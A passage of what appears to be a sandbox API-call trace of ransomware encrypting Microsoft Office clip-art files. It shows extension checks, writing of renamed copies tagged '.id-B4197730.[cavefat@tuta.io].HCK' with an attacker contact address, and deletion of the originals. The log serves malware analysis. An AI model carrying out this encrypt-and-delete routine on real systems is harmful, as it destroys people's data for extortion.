Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF") returned 68 [0168.727] lstrlenW (lpString=".1cd") returned 4 [0168.727] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF") returned 68 [0168.727] lstrlenW (lpString=".jpg") returned 4 [0168.727] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF") returned 68 [0168.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF") returned 68 [0168.727] lstrlenW (lpString=".doc") returned 4 [0168.727] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.727] lstrlenW (lpString=".docx") returned 5 [0168.728] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0168.728] lstrlenW (lpString=".pdf") returned 4 [0168.728] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.728] lstrlenW (lpString=".xls") returned 4 [0168.728] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.728] lstrlenW (lpString=".xlsx") returned 5 [0168.728] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0168.728] lstrlenW (lpString=".ppt") returned 4 [0168.728] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF") returned 68 [0168.728] lstrlenW (lpString=".zip") returned 4 [0168.728] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.728] lstrlenW (lpString=".rar") returned 4 [0168.728] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.728] lstrlenW (lpString=".bz2") returned 4 [0168.728] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.728] lstrlenW (lpString=".7z") returned 3 [0168.728] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF") returned 68 [0168.728] lstrlenW (lpString=".dbf") returned 4 [0168.728] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF") returned 68 [0168.728] lstrlenW (lpString=".1cd") returned 4 [0168.728] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF") returned 68 [0168.728] lstrlenW (lpString=".jpg") returned 4 [0168.728] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.728] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0168.728] lstrlenW (lpString="J0152602.WMF") returned 12 [0168.728] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152602.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0168.741] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=6276) returned 1 [0168.741] CloseHandle (hObject=0x370) returned 1 [0168.741] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152602.wmf")) returned 0x220 [0168.745] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152602.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0168.748] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152602.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0168.754] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.754] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.754] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152602.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0168.758] GetLastError () returned 0x0 [0168.758] ReadFile (in: hFile=0x360, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x1884, lpOverlapped=0x0) returned 1 [0168.759] WriteFile (in: hFile=0x398, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x1890, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x1890, lpOverlapped=0x0) returned 1 [0168.760] ReadFile (in: hFile=0x360, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0168.760] WriteFile (in: hFile=0x398, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0168.760] SetEndOfFile (hFile=0x398) returned 1 [0168.766] CloseHandle (hObject=0x398) returned 1 [0168.768] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.768] SetEndOfFile (hFile=0x360) returned 1 [0168.777] CloseHandle (hObject=0x360) returned 1 [0168.777] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0168.778] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152602.wmf")) returned 1 [0168.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF") returned 68 [0168.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF") returned 68 [0168.780] lstrlenW (lpString=".doc") returned 4 [0168.780] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.780] lstrlenW (lpString=".docx") returned 5 [0168.780] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0168.780] lstrlenW (lpString=".pdf") returned 4 [0168.780] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.780] lstrlenW (lpString=".xls") returned 4 [0168.780] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.780] lstrlenW (lpString=".xlsx") returned 5 [0168.780] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0168.780] lstrlenW (lpString=".ppt") returned 4 [0168.780] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF") returned 68 [0168.780] lstrlenW (lpString=".zip") returned 4 [0168.780] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.780] lstrlenW (lpString=".rar") returned 4 [0168.780] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.780] lstrlenW (lpString=".bz2") returned 4 [0168.780] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.780] lstrlenW (lpString=".7z") returned 3 [0168.780] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF") returned 68 [0168.780] lstrlenW (lpString=".dbf") returned 4 [0168.780] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF") returned 68 [0168.780] lstrlenW (lpString=".1cd") returned 4 [0168.780] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF") returned 68 [0168.780] lstrlenW (lpString=".jpg") returned 4 [0168.780] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF") returned 68 [0168.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF") returned 68 [0168.780] lstrlenW (lpString=".doc") returned 4 [0168.780] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.780] lstrlenW (lpString=".docx") returned 5 [0168.780] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0168.780] lstrlenW (lpString=".pdf") returned 4 [0168.780] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.780] lstrlenW (lpString=".xls") returned 4 [0168.780] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.780] lstrlenW (lpString=".xlsx") returned 5 [0168.780] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0168.781] lstrlenW (lpString=".ppt") returned 4 [0168.781] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF") returned 68 [0168.781] lstrlenW (lpString=".zip") returned 4 [0168.781] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.781] lstrlenW (lpString=".rar") returned 4 [0168.781] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.781] lstrlenW (lpString=".bz2") returned 4 [0168.781] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.781] lstrlenW (lpString=".7z") returned 3 [0168.781] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF") returned 68 [0168.781] lstrlenW (lpString=".dbf") returned 4 [0168.781] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF") returned 68 [0168.781] lstrlenW (lpString=".1cd") returned 4 [0168.781] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF") returned 68 [0168.781] lstrlenW (lpString=".jpg") returned 4 [0168.781] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.781] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0168.781] lstrlenW (lpString="J0152622.WMF") returned 12 [0168.781] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152622.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0168.784] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=9604) returned 1 [0168.784] CloseHandle (hObject=0x370) returned 1 [0168.785] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152622.wmf")) returned 0x220 [0168.793] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152622.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0168.795] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152622.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0168.798] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.798] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.798] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152622.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0168.802] GetLastError () returned 0x0 [0168.802] ReadFile (in: hFile=0x308, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x2584, lpOverlapped=0x0) returned 1 [0168.806] WriteFile (in: hFile=0x3ac, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x2590, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x2590, lpOverlapped=0x0) returned 1 [0168.807] ReadFile (in: hFile=0x308, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0168.807] WriteFile (in: hFile=0x3ac, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0168.807] SetEndOfFile (hFile=0x3ac) returned 1 [0168.810] CloseHandle (hObject=0x3ac) returned 1 [0168.811] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.811] SetEndOfFile (hFile=0x308) returned 1 [0168.815] CloseHandle (hObject=0x308) returned 1 [0168.816] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0168.816] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152622.wmf")) returned 1 [0168.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF") returned 68 [0168.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF") returned 68 [0168.817] lstrlenW (lpString=".doc") returned 4 [0168.817] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.817] lstrlenW (lpString=".docx") returned 5 [0168.817] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0168.817] lstrlenW (lpString=".pdf") returned 4 [0168.817] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.817] lstrlenW (lpString=".xls") returned 4 [0168.817] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.817] lstrlenW (lpString=".xlsx") returned 5 [0168.817] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0168.817] lstrlenW (lpString=".ppt") returned 4 [0168.817] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF") returned 68 [0168.817] lstrlenW (lpString=".zip") returned 4 [0168.817] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.817] lstrlenW (lpString=".rar") returned 4 [0168.817] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.817] lstrlenW (lpString=".bz2") returned 4 [0168.817] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.817] lstrlenW (lpString=".7z") returned 3 [0168.817] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF") returned 68 [0168.817] lstrlenW (lpString=".dbf") returned 4 [0168.817] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF") returned 68 [0168.817] lstrlenW (lpString=".1cd") returned 4 [0168.817] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF") returned 68 [0168.818] lstrlenW (lpString=".jpg") returned 4 [0168.818] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF") returned 68 [0168.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF") returned 68 [0168.818] lstrlenW (lpString=".doc") returned 4 [0168.818] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.818] lstrlenW (lpString=".docx") returned 5 [0168.818] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0168.818] lstrlenW (lpString=".pdf") returned 4 [0168.818] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.818] lstrlenW (lpString=".xls") returned 4 [0168.818] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.818] lstrlenW (lpString=".xlsx") returned 5 [0168.818] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0168.818] lstrlenW (lpString=".ppt") returned 4 [0168.818] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF") returned 68 [0168.818] lstrlenW (lpString=".zip") returned 4 [0168.818] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.818] lstrlenW (lpString=".rar") returned 4 [0168.818] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.818] lstrlenW (lpString=".bz2") returned 4 [0168.818] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.818] lstrlenW (lpString=".7z") returned 3 [0168.818] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF") returned 68 [0168.818] lstrlenW (lpString=".dbf") returned 4 [0168.818] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF") returned 68 [0168.818] lstrlenW (lpString=".1cd") returned 4 [0168.818] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF") returned 68 [0168.818] lstrlenW (lpString=".jpg") returned 4 [0168.818] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.818] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0168.818] lstrlenW (lpString="J0152690.WMF") returned 12 [0168.818] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152690.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0168.822] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=1268) returned 1 [0168.822] CloseHandle (hObject=0x388) returned 1 [0168.822] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152690.wmf")) returned 0x220 [0168.831] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152690.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0168.831] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152690.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0168.833] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.833] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.833] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152690.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0168.838] GetLastError () returned 0x0 [0168.838] ReadFile (in: hFile=0x308, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x4f4, lpOverlapped=0x0) returned 1 [0168.842] WriteFile (in: hFile=0x3ac, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x500, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x500, lpOverlapped=0x0) returned 1 [0168.843] ReadFile (in: hFile=0x308, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0168.843] WriteFile (in: hFile=0x3ac, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0168.843] SetEndOfFile (hFile=0x3ac) returned 1 [0168.846] CloseHandle (hObject=0x3ac) returned 1 [0168.847] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.847] SetEndOfFile (hFile=0x308) returned 1 [0168.853] CloseHandle (hObject=0x308) returned 1 [0168.855] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0168.855] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152690.wmf")) returned 1 [0168.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF") returned 68 [0168.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF") returned 68 [0168.858] lstrlenW (lpString=".doc") returned 4 [0168.858] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.858] lstrlenW (lpString=".docx") returned 5 [0168.858] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0168.858] lstrlenW (lpString=".pdf") returned 4 [0168.858] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.858] lstrlenW (lpString=".xls") returned 4 [0168.858] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.858] lstrlenW (lpString=".xlsx") returned 5 [0168.858] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0168.858] lstrlenW (lpString=".ppt") returned 4 [0168.858] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF") returned 68 [0168.858] lstrlenW (lpString=".zip") returned 4 [0168.858] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.858] lstrlenW (lpString=".rar") returned 4 [0168.858] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.858] lstrlenW (lpString=".bz2") returned 4 [0168.858] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.858] lstrlenW (lpString=".7z") returned 3 [0168.858] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF") returned 68 [0168.858] lstrlenW (lpString=".dbf") returned 4 [0168.858] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF") returned 68 [0168.858] lstrlenW (lpString=".1cd") returned 4 [0168.858] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF") returned 68 [0168.858] lstrlenW (lpString=".jpg") returned 4 [0168.858] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF") returned 68 [0168.858] lstrlenW (lpString="C:\\Program Files\\Microsoft 